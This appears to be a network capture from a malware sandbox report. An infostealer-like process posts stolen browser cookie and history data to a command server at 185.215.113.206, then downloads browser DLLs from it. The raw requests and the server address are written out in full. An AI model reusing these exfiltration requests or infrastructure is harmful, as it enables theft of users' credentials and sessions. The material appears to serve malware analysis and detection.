Nov 23, 2024 11:22:48.772289991 CET	4944	OUT	Data Raw: 4a 22 1e 4f 95 bc f4 5e ba ef 14 90 ab 17 d7 44 82 00 23 d4 12 cf d6 2f 47 f9 7b b5 f8 1e 37 c5 31 f6 a5 38 a5 ff 82 a6 59 63 7d cf 65 c8 e4 55 3b 90 f9 a2 3c 91 64 99 83 e4 1b 5c ba b1 06 76 c4 c3 26 f8 04 2d d7 26 ef 5c 56 5c 7e ad a7 b5 10 90 Data Ascii: J"O^D#/G{718Yc}eU;<d\v&-&\V\~TQy1]6r8M.0:F\Nl[x-DUbP+5mV87u<Cn"P\H8?U7PzO;]K+"LA
Nov 23, 2024 11:22:48.772536039 CET	2472	OUT	Data Raw: f9 22 36 2f ed b5 19 01 f9 59 24 42 e7 31 a1 89 65 1d 50 2d 1e 43 75 32 f3 2f 79 e6 25 27 60 e0 0a 92 31 c5 b6 a9 ae de c5 8b 41 7b 8e d4 3c 33 59 a8 40 4b 22 05 47 18 b6 82 b3 9a 81 17 ea bb f7 84 ff 31 c7 1d b6 1f 74 e0 0d 8c 0f 86 63 48 bc 15 Data Ascii: "6/Y$B1eP-Cu2/y%'`1A{<3Y@K"G1tcH}'={i;dbUe3OCd}wbO~k.S_v"sMb~L`pX>m N:I41RTh=X)"]@=~uM>Q3
Nov 23, 2024 11:22:48.772553921 CET	2472	OUT	Data Raw: f4 21 6b 1e 71 d6 5e ec d6 5a ae 9d 43 cd fd 29 67 66 1b 57 1a 1a 67 6f 62 89 e9 b2 58 43 29 1b 5b 46 96 52 34 06 af 2a 04 49 d1 ca ea 90 be 12 63 87 7c 97 8e 0e 47 2d fc d6 38 f9 86 d1 c0 35 1f a9 d6 9f fb c6 d7 e1 f2 44 0d e0 36 ca 14 52 a3 4d Data Ascii: !kq^ZC)gfWgobXC)[FR4Ic\|G-85D6RMf8'k=C)i8zdP4vgpT(~J1;fo11;z[nT)VMm_:,ZQNctF"$*#q^m.o_7+Pg
Nov 23, 2024 11:22:48.772818089 CET	6180	OUT	Data Raw: f5 53 6d c9 00 f8 3d 34 31 17 f9 98 ac 4d 7a bb af ca 95 27 f4 29 55 be 6f b1 72 24 97 6c 73 a4 da ca 82 b4 fc 4b cd 91 40 ec 8d 09 fd 87 29 1d 80 43 09 47 de b8 2b 33 45 d0 99 bb 2b 35 35 22 2c 4f a0 bc b4 a6 59 56 f8 ca b3 10 04 42 f5 da 00 dd Data Ascii: Sm=41Mz')Uor$lsK@)CG+3E+55",OYVBq3eM/2$lWPUXO!J28!&:iV=3e4-bFD%\|XS8)W}(;VVGRo({]^^t}U+sL.
Nov 23, 2024 11:22:48.772838116 CET	1236	OUT	Data Raw: 42 b0 be 28 26 28 12 19 0a 64 73 09 c4 72 42 0c 36 7e 86 28 19 70 d9 83 d7 24 ca d8 2e ce 4f 00 68 e1 80 fa a7 00 ae 42 6a 0f a5 96 33 e9 86 0d f4 d8 a1 82 6a 6a 97 37 59 57 32 ef 6d c7 77 80 96 31 aa d3 a3 e2 07 b4 d0 e7 84 40 04 c0 e9 d7 b1 31 Data Ascii: B(&(dsrB6~(p$.OhBj3jj7YW2mw1@1X%W2,^sijo"kbi>T^9S<RMu]6"Bm~:0h@4:`[pucZ6qk{8.\|Rnv]i(^0J?
Nov 23, 2024 11:22:48.891748905 CET	2472	OUT	Data Raw: 4f d8 f2 75 17 b0 2d 59 06 b8 52 5f 28 df 43 d5 ce cb 2d 12 4e b1 b5 c7 41 41 69 e9 48 19 86 1e ec d7 cf a9 58 1b 23 96 11 61 98 51 04 a9 2d 24 03 2c 23 ec 26 88 af 77 11 7c 9f bf b5 fc bc 6d d0 95 91 b4 c9 97 97 b1 d4 2c 62 1a 2a bd 97 ba f4 a1 Data Ascii: Ou-YR_(C-NAAiHX#aQ-$,#&w\|m,b-GVUYG~wC+&;C"Q:-e:0@ @;9(jNTB?Qju::\#F5b2X,yWBlO+y1mNr<P3
Nov 23, 2024 11:22:48.891947031 CET	4944	OUT	Data Raw: 15 56 fc 7f 8d 94 28 b3 ef 09 10 37 f9 c5 bb df af 89 80 eb f0 1c d7 a7 d1 a6 8d d1 bb cf ed f3 ea 80 4c 3a c8 b8 bc 62 17 cf d6 6b 96 1a ae 23 ad bd b4 d6 8e dd db 3c bf 67 d8 b6 06 da da 5e eb ba 69 86 f1 63 e5 63 59 5f a0 9d 85 0e 8d 56 ef df Data Ascii: V(7L:bk#<g^iccY_VdG1/*qPe_5fBBlMC\J-8]_ORQ?wX8eP\|43%5zC0e5EF)48t=9a[t"BB@V
Nov 23, 2024 11:22:48.892051935 CET	2472	OUT	Data Raw: 2b f2 06 50 6d 72 c0 94 fa 50 9d 80 ed 59 e0 a8 a3 c8 63 b6 a7 39 69 86 14 71 eb b5 65 7e 41 cf 36 51 ec 6f ae cd 83 b7 00 6f 77 b4 49 8e 2f 1c 74 90 c2 72 d9 44 26 de 20 c2 22 64 ad 14 a8 3c d7 9d 83 01 d1 72 c6 69 f2 73 94 0e 90 6d ef 37 3c aa Data Ascii: +PmrPYc9iqe~A6QoowI/trD& "d<rism7<ep`q.3:_d}pbtOA\_sH9!a3.~IMd+]R%*0FC?Z(K}QlEB{n[!%2xHP?nS_3$F^9iB4$
Nov 23, 2024 11:22:50.556283951 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 10:22:50 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49907	185.215.113.206	80	3352	C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:52.921467066 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BFHDHJKKJDHJJJJKEGHI--
Nov 23, 2024 11:22:54.818767071 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 11:22:55.144691944 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 11:22:55.144725084 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 23, 2024 11:22:56.100723028 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 11:22:56.183185101 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file"------KEHCAFHIJECGCAKFCGDB--
Nov 23, 2024 11:22:57.137547970 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 11:22:58.977936029 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file"------IEHDBGDHDAECBGDHJKFI--
Nov 23, 2024 11:22:59.927781105 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 11:23:01.663636923 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 11:23:02.122021914 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 23, 2024 11:23:02.122070074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 23, 2024 11:23:02.122086048 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 23, 2024 11:23:02.122106075 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 23, 2024 11:23:02.122117996 CET	496	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 23, 2024 11:23:02.122128963 CET	1236	IN	Data Raw: 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 Data Ascii: ^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vh
Nov 23, 2024 11:23:02.122140884 CET	1236	IN	Data Raw: 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b Data Ascii: >\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9Eshy
Nov 23, 2024 11:23:02.130259037 CET	1236	IN	Data Raw: 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f ef db 66 0f eb f9 66 0f 72 f4 17 66 0f fe 25 e0 20 08 10 f3 0f 5b cc 66 0f 70 e5 f5 66 0f f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f Data Ascii: fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfp
Nov 23, 2024 11:23:02.130390882 CET	1236	IN	Data Raw: d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f b6 14 32 8b 7d f0 88 14 07 8b 45 f0 88 0c 30 00 ca 0f b6 c2 8b 4d f0 0f b6 04 01 89 45 cc 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6 Data Ascii: uEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU
Nov 23, 2024 11:23:02.138638020 CET	1236	IN	Data Raw: ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b 76 34 89 b5 2c ff ff ff 8b 41 1c 89 85 bc fe ff ff 89 c7 11 f7 8b 41 38 89 85 d8 fe ff ff 01 c2 89 55 d0 8b 41 3c 11 c7 89 7d e4 89 c6 89 85 b4 Data Ascii: tF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E]1d1dMM}1
Nov 23, 2024 11:23:03.762356997 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 11:23:04.217458963 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 11:23:05.222831964 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 11:23:05.678539991 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 11:23:06.505939960 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 11:23:06.960024118 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 11:23:10.219708920 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
